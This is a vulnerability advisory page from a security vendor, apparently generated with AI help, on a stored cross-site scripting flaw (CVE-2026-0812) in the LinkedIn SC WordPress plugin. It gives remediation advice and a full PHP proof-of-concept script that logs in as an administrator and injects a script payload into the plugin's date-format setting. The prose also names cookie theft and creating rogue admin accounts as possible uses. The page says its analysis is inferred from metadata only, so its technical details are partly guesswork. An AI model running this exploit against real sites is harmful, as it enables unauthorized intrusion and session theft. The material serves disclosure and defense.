Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0812: LinkedIn SC <= 1.1.9 – Authenticated (Administrator+) Stored Cross-Site Scripting via Settings Page (linkedin-sc)

CVE ID CVE-2026-0812
Plugin linkedin-sc
Severity Medium (CVSS 4.4)
CWE 79
Vulnerable Version 1.1.9
Patched Version
Disclosed January 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0812 (metadata-based):
The LinkedIn SC WordPress plugin version 1.1.9 and earlier contains an authenticated stored cross-site scripting vulnerability. This vulnerability affects the plugin’s settings page, allowing attackers with administrator privileges to inject malicious scripts that persist and execute when the settings page is loaded.

Atomic Edge research indicates the root cause is insufficient input sanitization and output escaping for three plugin parameters: ‘linkedin_sc_date_format’, ‘linkedin_sc_api_key’, and ‘linkedin_sc_secret_key’. The CWE-79 classification confirms improper neutralization of input during web page generation. Since no source code is available, this conclusion is inferred from the CVE description and CWE classification. The vulnerability likely occurs because user-supplied values for these parameters are stored without proper sanitization and later rendered without escaping.

Exploitation requires an authenticated attacker with administrator-level access. The attacker would navigate to the plugin’s settings page, typically found at /wp-admin/options-general.php?page=linkedin-sc or a similar admin menu location. They would submit malicious JavaScript payloads in any of the three vulnerable parameters. Example payloads include alert(document.cookie) or more sophisticated scripts that steal session cookies or perform administrative actions. The stored payload executes whenever any administrator views the plugin settings page.

Remediation requires implementing proper input validation and output escaping. The plugin should sanitize the three parameters before storage using WordPress functions like sanitize_text_field() or wp_kses(). Additionally, the plugin must escape the values when outputting them to the settings page using esc_attr() or esc_html(). WordPress nonce verification should also be added to prevent CSRF attacks, though this is separate from the XSS vulnerability.

Successful exploitation allows attackers to perform actions within the WordPress admin context. This includes creating new administrator accounts, modifying plugin settings, injecting backdoors, or redirecting users to malicious sites. The stored nature means the payload executes repeatedly for all administrators viewing the settings page. The CVSS score of 4.4 reflects the high privilege requirement and limited scope, but the impact within the admin context is significant.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-0812 - LinkedIn SC <= 1.1.9 - Authenticated (Administrator+) Stored Cross-Site Scripting via Settings Page
<?php

$target_url = 'http://target-site.com';
$username = 'admin';
$password = 'password';

// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Get login nonce (WordPress includes nonce in login form)
$response = curl_exec($ch);
preg_match('/name="log"[^>]*>/', $response, $matches);

// Prepare login POST data
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));

// Execute login
$response = curl_exec($ch);

// Check if login succeeded by looking for admin dashboard
if (strpos($response, 'wp-admin') === false) {
    die('Login failed. Check credentials.');
}

// Assumption: Plugin settings page is at options-general.php with page=linkedin-sc
// This is a common WordPress pattern for plugin settings
$settings_url = $target_url . '/wp-admin/options-general.php?page=linkedin-sc';

// First, GET the settings page to obtain any nonce or form tokens
curl_setopt($ch, CURLOPT_URL, $settings_url);
curl_setopt($ch, CURLOPT_POST, false);
$settings_page = curl_exec($ch);

// Extract nonce if present (common WordPress security pattern)
$nonce = '';
if (preg_match('/name="_wpnonce" value="([^"]+)"/', $settings_page, $matches)) {
    $nonce = $matches[1];
}

// Prepare XSS payload in one of the vulnerable parameters
// Using linkedin_sc_date_format parameter as example
$payload = '<script>alert("Atomic Edge XSS Test - CVE-2026-0812");</script>';

$exploit_data = array(
    'linkedin_sc_date_format' => $payload,
    'linkedin_sc_api_key' => 'legitimate_key',  // Maintain other required fields
    'linkedin_sc_secret_key' => 'legitimate_secret',
    'submit' => 'Save Changes'
);

// Add nonce if found
if ($nonce) {
    $exploit_data['_wpnonce'] = $nonce;
}

// Submit the malicious settings
curl_setopt($ch, CURLOPT_URL, $settings_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));

$result = curl_exec($ch);

// Verify payload was stored by checking response
if (strpos($result, $payload) !== false) {
    echo "Payload successfully injected. Visit the plugin settings page to trigger execution.n";
} else {
    echo "Injection may have failed. Check plugin structure or nonce requirements.n";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School